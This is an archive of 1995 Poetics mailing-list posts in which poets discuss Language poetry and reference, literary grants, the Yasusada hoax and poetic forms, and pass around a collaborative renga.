No it does not. Nor does writing a sonnet, as Bernadette Mayer, Louis Zukofsky, Ted Berrigan and others have repeatedly proven. Forms by themselves are amoral. It is how they are used.

But they do have formal implications and the order of the sonnet is so thoroughly ingrained and historically conditioned not by one poet but by at least 6 centuries of poetry that its implications (its expression

of a universe of great and preordained orderliness) have to be dealt with in some fashion whenever one uses the mode. Some people (see above) play against that and use the form ironically to great affect. I'm more concerned/disturbed by a poetics that seems to "leave it alone" as a form, which at best is laziness and at worst seems truly conflicted and disturbing (which is how I read the formal strategies in

a poet like Merrill, who is fascinating in his dreadfulness, given his enormous talents).

Ron Silliman

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965. **Ron Silliman**

Repost #2

Tue 29 Aug 1995

Repost #2
Tom Beard writes,
>
>Some recent posts discussed whether or not "a refusal to refer" (or words to that effect) was a defining characteristic of Language Poetry.

This canard is a carry-over from some of the first put downs of LP in the late 70s (exacerbated, I must say, by some of the early attempts of

articulating what was going on, viz. Grenier's pre-LP term for this movement "nonreferential formalism").

But I think I'm the most referential poet who ever lived. Although Bruce Andrews might be moreso.

Ron

↑ Index

966. Michael Boughn
Re: From the CAP-L list
Tue 29 Aug 1995

> *While I'm here, I do want to say that I've been startled by the anger (M Boughn, say) that has been expressed at Corn's attempt to articulate his position, say.*

Dear Ron:

I guess we all have our buttons, eh? After spending 12 years on the shop floor encountering that attitude (Corn's arrogance) every day, it sends me over the edge. That combined with the fact that I really just get so tired of being accused of sectarianism by sectarians wrapped in the flag of "transparency" (as I was after a recent reading in Toronto).

The knife thing was a joking reference to an old Buffalo Creeley story, though I think that incident involved a discussion of jazz, not poetry. Bob, of course, wielded the blade. Ah, those were the days.

Part of Corn's arrogance is his assumption he can say anything he wants, and not have to account for it. Where I come from, you can say whatever you want, but you better understand that some people take these things personally and act accordingly.

Best,
Mike
[redacted]

↑ Index

967. Daniel Bouchard/College/hmco
Laughlin/Corbett
Tue 29 Aug 1995

FYI: Anyone who will be in or near Boston on September 14, James Laughlin and William Corbett will be reading at a local bookstore. I'll provide details for those interested.

daniel_bouchard @ hmco.com

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968. Rae Armantrout
Re: Repost #2
Tue 29 Aug 1995

I think most L poetry (and I have some doubts about whether that is even a meaningful term) is closer to a wild excess of reference than to a refusal to

refer. My work has been included in most Langpo groupings since the beginning and, personally, I have never refused to refer.

Rae Armantrout

↑ Index

969. **Herb Levy**

an aside on grants 'n' stuff

Tue 29 Aug 1995

Some people have noted with various degrees of despair which writers receives support from MacArthur, Guggenheim, & the like.

In most cases, staff members don't choose grantees, but they do greatly influence the outcome through their selection of jurors. Who gets funded is a function of who selects the selection panel & why. Because it's a matter of public record, you can go through the NEA's annual reports & see how even 1 or 2 supportive panelists can substantially change the stylistic range of grant recipients.

In the case of the MacArthur Fellowships, for instance, where the literary selections have been primarily dreary, the selections for composers with some link to the "jazz" tradition have been almost uniformly "progressive" (is that a less "problematic" term than "avant garde"?) and recipients have included musicians such as Ran Blake, Anthony Braxton, Ornette Coleman, George Russell, & Cecil Taylor.

Note that, while this works toward solving the problem of lack of recognition for less "mainstream" artists in the field, it increases the problems of at least a perceived "official" "avant garde." (& if you don't think there's been a lot of talk among conservatives as to why "the only MacArthur awards in jazz have been to these weird so-called avant garde jazz musicians", then you don't get out enough.)

Note too, that the MacArthur awards for composers working more directly in the western classical trdition have been much spottier in their support of artists working outside of the traditional venues.

I can imagine the changes in the system that could in turn change who gets funded, but I can't imagine what it would take for those changes to occur.

Herb Levy

[redacted]

↑ Index

970. **Herb Levy**
Re: place genre heading here and behead
Tue 29 Aug 1995

Chris -

I address some of the issues you raise in another post, but to answer one of your other points: Corn's "code" name is an undented <Indepen>.

Bests

Herb Levy
[redacted]

↑ Index

971. **Herb Levy**
Re: Hello Alfred Corn (longish)
Tue 29 Aug 1995

Tom (& others) -

Believe me, I know how much of an asshole I was.

In the thread "marketing strategies" a few weeks ago (the thread that apparently got Corn interested in nosing around here to begin with) I wrote a little about the limits of negative definition in the "avant garde" tradition. To put this most succinctly, a sense of who "they" are isn't enough, there's got to be a useful common definition of who "we" are, too. This group is diverse enough that the ready-made terms don't work (though Alan Golding is, perhaps, moving in the right direction, with his phrase 'the "so-called 'so-called "language poets"'"'). All negative definitions are, by their nature, reactionary and far more limited than even the most provisional positive definition. (I'm talking about tendencies here, I realize that definitions are contextual & can't be entirely negative or entirely positive.)

In any case, however clear the various individuals "here" at poetics are about their positions in regard to "language poetry" the "mainstream," the "avant garde," or anything else, the sense of the place itself is much more provisional & fragile. Recently there've again been the beginnings of a discussion of who "we" may be, of what this "place" is. This is an endless topic, that many find seem to find annoying. It can't, or shouldn't, take the place of others discussions, but it's part of the function (or at least the use-value) of this list, that it's one of the topics "here."

In other words, I think the issue of what this place is, is more important than the definition of any particular stripe of "non-'mainstream'" writing that may be represented here. In this light, it was particularly annoying to see the few

halting steps in this direction subverted again and again by Corn's willfully (& aggressively) ignorant questioning.

I'm not an isolationist (the poetry I'm reading now includes Carla Harryman's Vice; a stack of various visual poetries from Light & Dust; & James Merrill's Changing Light at Sandover). Susan Schultz is right that people on all sides of the divide need to know how to talk to each other. But, <poetics> isn't some monolithic institution, there are already people from many sides of the divide trying to talk right "here." That's why there are the fifty messages a day that Ron Silliman correctly notes would ward off many sane people from poking their nose in "here." (For most of the last month, I've been getting my email every 2 or 3 days, so I really understand the problems this kind of volume creates.) But it's also why _all_ of those messages are important, not just the ones which pertain directly to my (or anyone else's) interests. The range of the discussions "here," including all the chat, rengas, and bad jokes, is what "here" is.

I really do think that, given given the fragile or tentative beginnings of group definition "here" at <poetics>, it's exactly NOT the time to get caught up in defining "ourselves" in terms of "them" & how "they" see "us." I've seen too many interesting "alternative" new music projects (concert series, festivals, ensembles, recording companies, publications, etc.) dry up (either literally or figuratively) when they decided to be too "inclusive," too quickly, to want to see the same thing happen "here."

Chris Stroffolino is right that we need to question critical paradigms, as well as what makes this potentially "virtual" community feel like more than just another bundle of unexamined email. & he's right that self-serving poormouthing along the lines of "the power of pretending you have no power" can be as much of a problem "here" as it can be anywhere. (I think there are other sources for this concept that go into somewhat greater analytic detail than the current renga; Gramsci & Foucault are two that come to mind.) This was also a significant issue in a previous "renga" composed mainly by Spencer Selby & Tom Mandel several months ago.

But the solution to this posturing on power issues isn't to appeal to some authority with even a little more power in the still quite tiny world of, what do we call it since there is no mainstream, more generally recognizable (?) poetry, even if that authority is also willing to claim that they too have no power. That's still a negative definition of <poetics-list> and I don't think it'll move anything forward.

Anyway, Tom (& others), yes I was an asshole. But, obviously, I've at least rationalized it enough so I don't feel too badly about it. Sorry to any of you who were offended.

Bests

Herb Levy
[redacted]

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972. Fred E. Maus
Re: an aside on grants 'n' stuff
Tue 29 Aug 1995

The MacArthur awards in music scholarship--Steven Feld, Gary Tomlinson, now Susan McClary--have been brilliant.

Fred

↑ Index

973. Chris Stroffolino
Re: pardon my formalism
Tue 29 Aug 1995

I will be signing off the list for awhile--If anybody wants to get in touch with me, please backchannel---thanks alot, and it's been 'fun'---chris stroffolino

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974. Gale Nelson
Re: Laughlin/Corbett
Tue 29 Aug 1995

On the same day that Bill Corbett and James Laughlin read in Boston, we'll have Rae Armantrout reading in Providence. Alas, cloning seems an unlikely solution to making it to both readings...

Gale Nelson

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975. Rae Armantrout
Re: Laughlin/Corbett
Tue 29 Aug 1995

That reminds me that I could use the list to say that I'll be reading at Brown the evening of Sept. 14 and at U. Penn on the 15th in the afternoon.

Rae A.

↑ Index

976. **Jordan Davis.**
Re: Renga
Tue 29 Aug 1995

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >flicka my best friend and the storm in the glass of water's
> >halfway pertinent incision we keep making safe for ignorance
> > (inspection
> >denied for not knowing how credenza was meant) & neo-colonizing
> >pockets in small furniture intended house sequentially several
> >mountains away but it wasn't, you know, a big tango
> >when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> >no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> >piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> >the chair is sad, alas, and i've lusted tootles' livers
> >the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> >Flaubert because we're waiting all throughout eternity for
> > moments to be
> >of such suchness. In the nooks were creams and in the streams
> > were hooks.
> >All melded like striated film leftover in the pastel seeds of
> > darkness
> >falling like a counterirritant around the manchineel. Likewise

> >sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> >of subject's object status, violent transformation
> >la Ste. Therese into beaming cumulus apokoinu switchback
> >and in the u-turns were bookmobiles rounding angles considered
> >shrill as pine left in the acres to be aging
> >flawlessly, flutes sing genderless in trio, surprised
> >by how quiet effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to
> > go ahead
> >and dance, composing instead of straining muscles, far eyes
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
  which explains why the pump is busted and why
he preferred whole afternoons on the phone to that

↑ Index

977. **Jordan Davis.**
Re: Renga
Tue 29 Aug 1995

>> >> In the books were dreams and in the dreams were books.
>> >> And flew through windows, lightning green and fine morning
>> >> First inverted whistle of a cardinal in the poplar
>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> The caravan of windows to what they flee
>> >> These lace curtains, more gauze than bondage, more
>> >> Mollycoddled than aware, thin-spined and pebbling
>> >> but narrow in the waist or waspish Sunday years ago
>> >> Over coffee topped with whipped cream, the Times blowing
>> >> & opining, heavy humid air, cumulus amusing against the
>> >> bleached ribcage ripcorded into compassed wind
>> >> kissing the weatherwoman between her breasts as she
>> >> gives gracious problem: fanatical snacks, landscape of
>> >> flicka my best friend and the storm in the glass of water's
>> >> halfway pertinent incision we keep making safe for ignorance
>> >> (inspection
>> >> denied for not knowing how credenza was meant) & neo-colonizing

>> >> pockets in small furniture intended house sequentially several
>> >> mountains away but it wasn't, you know, a big tango
>> >> when the attorney general came, selah hales said, "Dias, oh,ho,
>> >> kook!"
>> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >> warehouse, curls
>> >> no ideas but the woven fabric the texture so to speak was at the
>> >> dry cleaners
>> >> piping hot and gloved-in somewhere unsalted, perched on
>> >> prescience
>> >> the chair is sad, alas, and i've lusted tootles' livers
>> >> the odor day toy a cello day dis chevys a bo coo daughter chose
>> >> encore
>> >> Flaubert because we're waiting all throughout eternity for
>> >> moments to be
>> >> of such suchness. In the nooks were creams and in the streams
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>> >> All melded like striated film leftover in the pastel seeds of
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>> >> by how quiet effort really is or is not, fast enough to sleep
>> >> through thunderstorms, arm over thigh until light shakes
>> >> petals free of names that rain across known skin forgotten
>> >> alive in our hearse hurts, projective nurse if she is to
>> >> go ahead
>> >> and dance, composing instead of straining muscles, far eyes
>> >> out, transplanted organs speak, the idiom
>> >> inseams, a snare as solvently unequal-- the power
>> >> of boys talking on their feet and men talking to their hands
>> in whispers conducive to disrobing weaponry
>down where dead men tell no lies and misdemeanors
whisper the lies of sleep to form small scented chapters
of participation, a kind of rhomboid pastry it turns out

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978. Alan Golding
Subjects
Tue 29 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

My usual random list of responses, questions, etc. to various folks' posts:

Gwyn: Assuming that CREWRT-L is a creative writing programs list (that is, it sounds like it is from the name), how does one subscribe?

Gwyn and Jorge: Where "The Yellow Rose of Texas" works for ED, so too usually does "Heartbreak Hotel," I've found. Very appropriate for "There's a certain slant of light. If that fails to inspire, put "Stopping By Woods on a Snowy Evening" to "Hernando's Hideaway," and "A Psalm of Life" to "My Darling Clementine. " Really.

Since a couple of people recently have mentioned Cris (it's actually Cristanne) Miller's name, y'all might want to know about her and Lynn Keller's edited essay collection from Michigan, Feminist Measures: Soundings in Poetry and Theory. Essays likely to be of especial interest to the list would include pieces by Rachel Blau DuPlessis, Joan Retallack, M. Nourbese Philip; one on Theresa Hak Kyung Cha; and one by Lynn Keller on the very topic raised here, Marilyn Hacker's reclamation of the sonnet sequence.

Since I like to be a little perverse: can Edna St. Vincent Millay be said to reclaim the sonnet sequence for "alternative" purposes? Elinor Wylie in "One Person?"

Alan

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979. George Bowering
Re: Herb's anatomy
Tue 29 Aug 1995

Herb, you werent an asshole. You were more of a sacrificial duck. While most of the people here were being very (ironically sometimes) polite to Corn, many were probably thinking of bad things to say to him, stuff he might have to hear, even if it didnt do any good. I for one, while cringing a little at the vehemence, appreciated your posting and enjoyed it, to tell the truth. While it would do little good to weild flamethrowers all over the place like testosterone boys on a Star Wars net, ((wield, I mean)) one does get a but weary of smarminess. When I was a younger dad I didnt much like my kid's daycare races in which everyone got a ribbon. Well, I kind of liked it. You see the ambivalence? That is, Someone

on this list needed to say that stuff to/about Corn. You, as fate wd have it, got the job. And I think we owe you our thanks. We got to come off as goodies with both shoes on while you jumped into the war zone.

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980. **Kit Robinson**
LangPo & the refusal to ref
Tue 29 Aug 1995

Subject: Time: 2:20 PM
OFFICE MEMO LangPo & the refusal to refer Date: 8/29/95
Tom,

This idea that language poetry is somehow non-referential, which I think Ron was partly responsible for promulgating in an essay in the 70s, has never made any sense to me. Words refer, and it's almost impossible to use them without doing so, even if one wanted to, which most of the usual suspects under the L= rubrick don't, least of all Ron, whose work can be mined like a time capsule of 70s-90s Bay Area daily culture (so far). Maybe P. Inman would qualify, working as he has at the level of the phoneme, but for the most part, forget it. What might distinguish langpo -- but why is anyone so anxious to do so? -- would be the role of referentiality among other dynamics: sound, rhythm, syntax, synthesis, the page, the tone, the tome. So that the transparency associated with a writing in which referentiality takes precedence over all other factors is rejected in favor of what? Not opacity really, though it may seem that way at first, but a continually shifting frame of reference that enacts itself as content.

Wait a minute. Who's work am I talking about now? By defining a school, one rigidifies reference, just what I hate. Boundaries are porous. References litter the ground, which keeps moving us, round & around, with all that's said and done just under foot.

Kit

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981. **George Bowering**
Re: referring
Tue 29 Aug 1995

I have been rifling the books and staying up all night thinking and drinking only mineral water from the Rockies, and I think I have it:

every word in every language refers

and when you get right down to it, none of them does, really.

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982. **George Bowering**
Re: Hernando
Tue 29 Aug 1995

"Hernando's Hideaway" also works splendidly with that Housman poem that starts

Oh I have been to Ludlow Fair
and left my jockstrap god knows where
and carried halfway home or near
pints and quarts of Ludlow beer.

etc

↑ Index

983. **Jordan Davis.**
wac
Tue 29 Aug 1995

Women's Action Coalition (?)--viz. WAC Stats, a useful collection of statistics re discrimination against women in the worlds of work, art, and society...

Lindz & kg
last I heard those actors were explaining why Johnny Winona Brad Keanu and River didn't really bring anything new to acting

Jordan

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984. **Michael Boughn**
Re: Herb's anatomy
Tue 29 Aug 1995

> *G. Bowering writes:*
> *Herb, you werent an asshole. You were more of a sacrificial duck.*

Allow me to say, with no irony, right-on.

Mike
[redacted]

↑ Index

985. **Jorge Guitart**

Re: Renga

Tue 29 Aug 1995

> >> >> In the books were dreams and in the dreams were books.
> >> >> And flew through windows, lightning green and fine morning>> >>
First inverted whistle of a cardinal in the poplar
> >> >> The book and the oboe on the grass under sun and cloud
> >> >> Go endlessly, an obtuse Prussian blue, it binds
> >> >> The caravan of windows to what they flee
> >> >> These lace curtains, more gauze than bondage, more
> >> >> Mollycoddled than aware, thin-spined and pebbling
> >> >> but narrow in the waist or waspish Sunday years ago
> >> >> Over coffee topped with whipped cream, the Times blowing
> >> >> & opining, heavy humid air, cumulus amusing against the
> >> >> bleached ribcage ripcorded into compassed wind
> >> >> kissing the weatherwoman between her breasts as she
> >> >> gives gracious problem: fanatical snacks, landscape of
> >> >> flicka my best friend and the storm in the glass of water's
> >> >> halfway pertinent incision we keep making safe for ignorance
> >> >> (inspection
> >> >> denied for not knowing how credenza was meant) & neo-colonizing
> >> >> pockets in small furniture intended house sequentially several
> >> >> mountains away but it wasn't, you know, a big tango
> >> >> when the attorney general came, selah hales said, "Dias, oh,ho,
> >> >> kook!"
> >> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >> >> warehouse, curls
> >> >> no ideas but the woven fabric the texture so to speak was at the
> >> >> dry cleaners
> >> >> piping hot and gloved-in somewhere unsalted, perched on
> >> >> prescience
> >> >> the chair is sad, alas, and i've lusted tootles' livers
> >> >> the odor day toy a cello day dis chevys a bo coo daughter chose
> >> >> encore
> >> >> Flaubert because we're waiting all throughout eternity for
> >> >> moments to be
> >> >> of such suchness. In the nooks were creams and in the streams
> >> >> were hooks.
> >> >> All melded like striated film leftover in the pastel seeds of
> >> >> darkness
> >> >> falling like a counterirritant around the manchineel. Likewise

> >> >> sandpaper juxtaposed with seasoned instruments and recently soft
> >> >> fruit
> >> >> of subject's object status, violent transformation
> >> >> la Ste. Therese into beaming cumulus apokoinu switchback
> >> >> and in the u-turns were bookmobiles rounding angles considered
> >> >> shrill as pine left in the acres to be aging
> >> >> flawlessly, flutes sing genderless in trio, surprised
> >> >> by how quiet effort really is or is not, fast enough to sleep
> >> >> through thunderstorms, arm over thigh until light shakes
> >> >> petals free of names that rain across known skin forgotten
> >> >> alive in our hearse hurts, projective nurse if she is to
> >> >> go ahead
> >> >> and dance, composing instead of straining muscles, far eyes
> >> >> out, transplanted organs speak, the idiom
> >> >> inseams, a snare as solvently unequal-- the power
> >> >> of boys talking on their feet and men talking to their hands
> >> in whispers conducive to disrobing weaponry
down where dead men tell no lies and misdemeanors
whisper the lies of sleep to form small scented chapters
> of participation, a kind of rhomboid pastry it turns out
reading, "sex is true happiness;the idea that merely by screw-

↑ Index

986. Jordan Davis.

rerenga

Tue 29 Aug 1995

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> >> >> And flew through windows, lightning green and fine morning>> >>
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> >> >> The book and the oboe on the grass under sun and cloud
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> >> >> dry cleaners
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> >> >> alive in our hearse hurts, projective nurse if she is to
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> >> >> and dance, composing instead of straining muscles, far eyes
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> >> >> of boys talking on their feet and men talking to their hands
> >> in whispers conducive to disrobing weaponry

down where dead men tell no lies and misdemeanors
whisper the lies of sleep to form small scented chapters
> of participation, a kind of rhomboid pastry it turns out
reading, "sex is true happiness;the idea that merely by screw-
driver solfege anthrax micrometer of double rabbit

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987. **Jorge Guitart**

Re: Renga

Tue 29 Aug 1995

> > >In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
> > >First inverted whistle of a cardinal in the poplar
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> > >The caravan of windows to what they flee
> > >These lace curtains, more gauze than bondage, more
> > >Mollycoddled than aware, thin-spined and pebbling
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> > >& opining, heavy humid air, cumulus amusing against the
> > >bleached ribcage ripcorded into compassed wind
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> > >gives gracious problem: fanatical snacks, landscape of
> > >flicka my best friend and the storm in the glass of water's
> > >halfway pertinent incision we keep making safe for ignorance
> > > (inspection
> > >denied for not knowing how credenza was meant) & neo-colonizing
> > >pockets in small furniture intended house sequentially several
> > >mountains away but it wasn't, you know, a big tango
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> > > dry cleaners
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> > > prescience
> > >the chair is sad, alas, and i've lusted tootles' livers
> > >the odor day toy a cello day dis chevys a bo coo daughter chose
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> > >Flaubert because we're waiting all throughout eternity for
> > > moments to be
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> > >All melded like striated film leftover in the pastel seeds of
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> > > fruit
> > >of subject's object status, violent transformation
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> > >flawlessly, flutes sing genderless in trio, surprised
> > >by how quiet effort really is or is not, fast enough to sleep
> > >through thunderstorms, arm over thigh until light shakes
> > >petals free of names that rain across known skin forgotten
> > >alive in our hearse hurts, projective nurse if she is to
> > > go ahead
> > >and dance, composing instead of straining muscles, far eyes
> > >out, transplanted organs speak, the idiom
> > >inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
 crap about not having a cousin on the moon

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988. **Joseph Zitt**

Re: Renga

Tue 29 Aug 1995

On 29 Aug 95 at 18:54, Jorge Guitart wrote:

> > >> >> In the books were dreams and in the dreams were books.
> > >> >> And flew through windows, lightning green and fine morning>>
>> First in
> verted whistle of a cardinal in the poplar
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> > >> >> flicka my best friend and the storm in the glass of water's
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> > >> in whispers conducive to disrobing weaponry
> down where dead men tell no lies and misdemeanors
> whisper the lies of sleep to form small scented chapters
> > of participation, a kind of rhomboid pastry it turns out
> reading, "sex is true happiness;the idea that merely by screw-
drivers, mimosas, and those bloody marionettes we can
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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989. **Joseph Zitt**

Re: "getting" jazz

Tue 29 Aug 1995

On 29 Aug 95 at 20:02, Steve Carll wrote:

> *I don't honestly know why, but all of a sudden, after 25-some years of not being real interested in jazz (I grew up on pop and rock--everyone from the Beatles to Simon & Garfunkel to punk and Motorhead), I just all of a sudden had some unquenchable interest in it.*

That happened to me, too, after 20-some years of strict classical snobbery. I can pin down the pieces that did it,too: Coltrane's "A Love Supreme" (which a friend got me to listen to as minimalism, all built up from that 4 note motif), Ornette Coleman's "Beauty is a Rare Thing" (which sounded to me like improvised Webern), and a whole evening of listening to Art Ensemble of Chicago records. I was hooked, and dove headfirst into the Smithsonian Collection -- listening to the sides in reverse order so I could hear how the avant-garde stuff, that I clicked with, could give me clues on how to listen to the older material. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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990. **Chris Stroffolino**
Re: Laughlin/Corbett
Tue 29 Aug 1995

how do you do the "no mail" command? for some reason i keep getting mail--even though I did what I thought was the no mail command---cs

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991. **Lee Chapman**
Yasusada = Hoax?
Tue 29 Aug 1995

As one of the editors who recently published work by Araki Yasusada (Brad Morrow, CONJUNCTIONS, and Jean Stein, GRAND STREET, were others), I feel a responsibility to inform anyone who may have read the work (in FIRST INTENSITY #5) that it is more than likely a hoax; that is, a person or persons unknown to me at this time concocted the bio and writings of this supposed Hiroshima poet. The person who submitted the work to me refuses to confirm or deny the rumors of fakery, and with absolutely no evidence in favor of Yasusada's existence, while there is plenty against it, I think it's safe to assume that the rumors are true.

I don't want to interrupt the flow of current discussions to use this forum for a big screechy diatribe on the ethical ramifications of such practices, but I want everyone to know that I did not know of the hoax when I accepted the work, which obviously I found very moving--and timely, of course. However, I believe that the author's deliberate targeting of some major literary magazines, such as CONJUNCTIONS, just in time for the 50th anniversary of the horror of the bombing of Hiroshima and Nagasaki is indefensible.

If the purpose was to bring attention to this 50-year-old horror, well I think we are already perfectly aware of that--many of us have been living "under that bomb" for all our lives! If the author's purpose was to assure that he/she/they received closer attention by synchronizing their attack with the anniversary, well they succeeded. They got our attention. But now what are they going to do with it?

My main purpose here is to alert you all to this hoax, and to warn any publishers who may have been approached by anyone (such as Kent Johnson of Freeport, Illinois, who submitted the work to me) claiming to be associated with "Yasusada's editors."

The perps did a nice job of writing, but they trashed their own creation when they decided to trash their readers' hearts. Thousands of human beings died in Hiroshima and Nagasaki, and thousands of their family members are still alive

today, to remember the horror personally. To use their pain as a springboard to some kind of notoriety is unconscionable. There are hoaxes (such as the Ern Mally affair in Australia during World War II, in which the target was a single editor) and there are hoaxes (such as Yasusada, in which the pain of millions of people--as everyone on earth is affected to some extent by what happened in Japan 50 years ago this month--was callously ignored, apparently in favor of personal gratification); this one really stinks.

I guess I diatribed after all. Sorry. As it seems that the RENGA got started after someone posted a note about the Yasusada business in FIRST INTENSITY, I'm somewhat to blame for the seemingly endless renga-ing. You know, I almost didn't publish the renga part of the Yasusada submission--see what happens when you don't listen to your instincts?

Best to all,
Lee Chapman

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992. **Steve Carll**
(no subject)
Tue 29 Aug 1995

Tom Beard writes:

> *I think that if one is aware of the cultural assumptions behind a form, then one can quite happily exploit/subvert/play with those assumptions, but it's the assumptions of which one is unaware that are dangerous. But need the values of the society that creates a form necessarily "contaminate" that form? Does writing in the tradition of Pound make one a fascist?*

Or, to bring the question into poetics list currency, let's note that renga is, by tradition, a Japanese form. Japan's society is every bit as patriarchal as, well, most of the others on the globe, last time I heard. So are we importing the local Trojan Horse for Japanese-style patriarchy by playing around with this form?

Steve

↑ Index

993. **Jorge Guitart**
Re: your mail
Tue 29 Aug 1995

On Tue, 29 Aug 1995, Steve Carll wrote:

> *Tom Beard writes:*
>
> *I think that if one is aware of the cultural assumptions behind a form, then*

> *one can quite happily exploit/subvert/play with those assumptions, but it's the assumptions of which one is unaware that are dangerous. But need the values of the society that creates a form necessarily "contaminate" that form? Does writing in the tradition of Pound make one a fascist?*

(to which Steve replied)
> Or, to bring the question into poetics list currency, let's note that renga
> is, by tradition, a Japanese form. Japan's society is every bit as
> patriarchal as, well, most of the others on the globe, last time I heard.
> So are we importing the local Trojan Horse for Japanese-style patriarchy by
> playing around with this form?
>
> Steve
>

And, let's not show any more of Shakespeare because when he was around there were no female actors in his plays?

Did you notice that women have been active in the renga here? It's not a boy thing.

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994. **Steve Carll**
Re: referring
Tue 29 Aug 1995

George Bowering sez:

> *I have been rifling the books and staying up all night thinking and drinking only mineral water from the Rockies, and I think I have it:*
>
> *every word in every language refers*
>
> *and when you get right down to it, none of them does, really.*

That sounds right. They all refer, but none of them does it absolutely, in a one-to-one ratio. They all set up fields of reference to bounce around in (or we bounce around in, depending on how you want to look at it). It's as if language were "code" for the world, but there's always some component of it that won't quite *de*-code.

Stefe (see what I mean?)

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995. **Steve Carll**
"getting" jazz
Tue 29 Aug 1995

Ryan:

I don't honestly know why, but all of a sudden, after 25-some years of not being real interested in jazz (I grew up on pop and rock--everyone from the Beatles to Simon & Garfunkel to punk and Motorhead), I just all of a sudden had some unquenchable interest in it. I think it was hearing Mingus, or Monk, or Coltrane, or someone who just grabbed me and wouldn't let go. I heard something in the music at 25 that I probably didn't have the ears to hear at 20. Knowing the cultural history behind the music's creation may help you "gain perspective" as a listener, but it can't substitute for just hearing something in the sound that pulls you into the music.

Steve

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996. **Aldon L. Nielsen**
Re: aldon to alan
Wed 30 Aug 1995

---

alan -- do you know when that anthology will be out? I'm teaching Cha's _Dictee_ again, and would like to see that essay --

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997. **Aldon L. Nielsen**
Re: ". . ."
Wed 30 Aug 1995

I don't see how we could import Japanese patriarchy along with the Renga form when we haven't, in fact, been importing the Renga form. Could the name alone lord it over us?

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998. **Kevin Killian**
Millay
Wed 30 Aug 1995

Alan Golding wrote:
>Since I like to be a little perverse: can Edna St. Vincent Millay be said to
>reclaim the sonnet sequence for "alternative" purposes?

I think so, but I have long wanted to find out how . . . do you, Alan (or any of the other fine critics on this list) know of anyone who is doing any interesting work on Millay right now? Yours, Kevin

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999. **Aldon L. Nielsen**
Re: progressive v regressive
Wed 30 Aug 1995

That metion of the observable difference in patterns of award between music and literature brings something to mind. It appears to this reader that universities and university presses have been willing to print and reward some of the most progressive critical writings, but have pretty much stuck to the most mainstream of poetry publications and reward systems. I don't think this is entirely attributable to the MFA machinery, though I'm sure that's a large part of it (given who's in charge of most university press poetry series). What's odd about this is that while thousands of Americans have now read Derrida on Jabes, for example, few of them read any American poets as interesting (to me at any rate) as Jabes. (This ain't a French thing -- we can easily substitue similar examples from other languages.) (for one such counter-example -- how many American profs have read Juan Luis Martinez??)

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1000. **Steve Evans**
Words Vanish First
Wed 30 Aug 1995

Some books that are taking the sting out of my summer's end:

A F T E R R I M A G E S by Joan Retallack (Hanover: Wesleyan UP / UP of New England, 1995). MADE TO SEEM by Rae Armantrout (Los Angeles: Sun & Moon, 1995). SELECTED POEMS by Barbara Guest (Los Angeles: Sun & Moon, 1995).

All stunning, and to add perspective:

Having a look at Retallack's 1984 review article of language-centered writing in Parnassus as well as the recently mentioned piece in Feminist Measures (and thinking of her while watching Cage in the Bravo documentary a few night's ago).

A few weeks ago had the pleasure of reading the special issue of TOTTEL's (#3/1971) dedicated to Armantrout's work. It helped me clarify why it is that her work always comes to mind when I try to explain Zukofsky's notion of "objectification" to myself. (No disrespect for James Laughlin or Bill Corbett,

but I have no trouble deciding where to be on September 14.) Can't shake the line, which sort of consumately puts me in my place: "From dreams and memories, words vanish first" ("The Work," which also appears in the STEIN AWARDs volume).

The Guest SELECTED is a case, for me, of finally "coming to" someone's work who had hovered just outside comprehension. The physical presentation is certainly one element--I find this book wonderfully balanced, weighted (I got the hardback), well-printed, etc. (A caveat being the absurd heights Sun & Moon hyperbole often reaches in jacket-copy: totally out of keeping with Guest's own rhetorics.) I don't know Guest's oeuvre well enough to judge the selection (presumably her own, since no editor is credited), but I was especially drawn to THE TURLER LOSSES (1979) and "Byron's Signatories" (from MOSCOW MANSIONS, 1973). As I read "A Handbook of Surfing" (from THE BLUE STAIRS, 1968) for the first time I was made aware, by its divergences from the "kind of poet I thought she was," of the inadequacy of my previous take on her (she had been for me, I realize now, primarily the author of "Parachutes My Love...").

Maybe it's that issue of AERIAL, but I've also found myself in what Ron Silliman called, some while back, "the age of Watten." Even against the backdrop of great editing projects of the 1970s-1980s, THIS still stands out, and judging from recent rereadings neither DECAY (1977) nor PROGRESS (1985) have "aged" noticeably. I'm watching for more "Bad History" in the magazines.

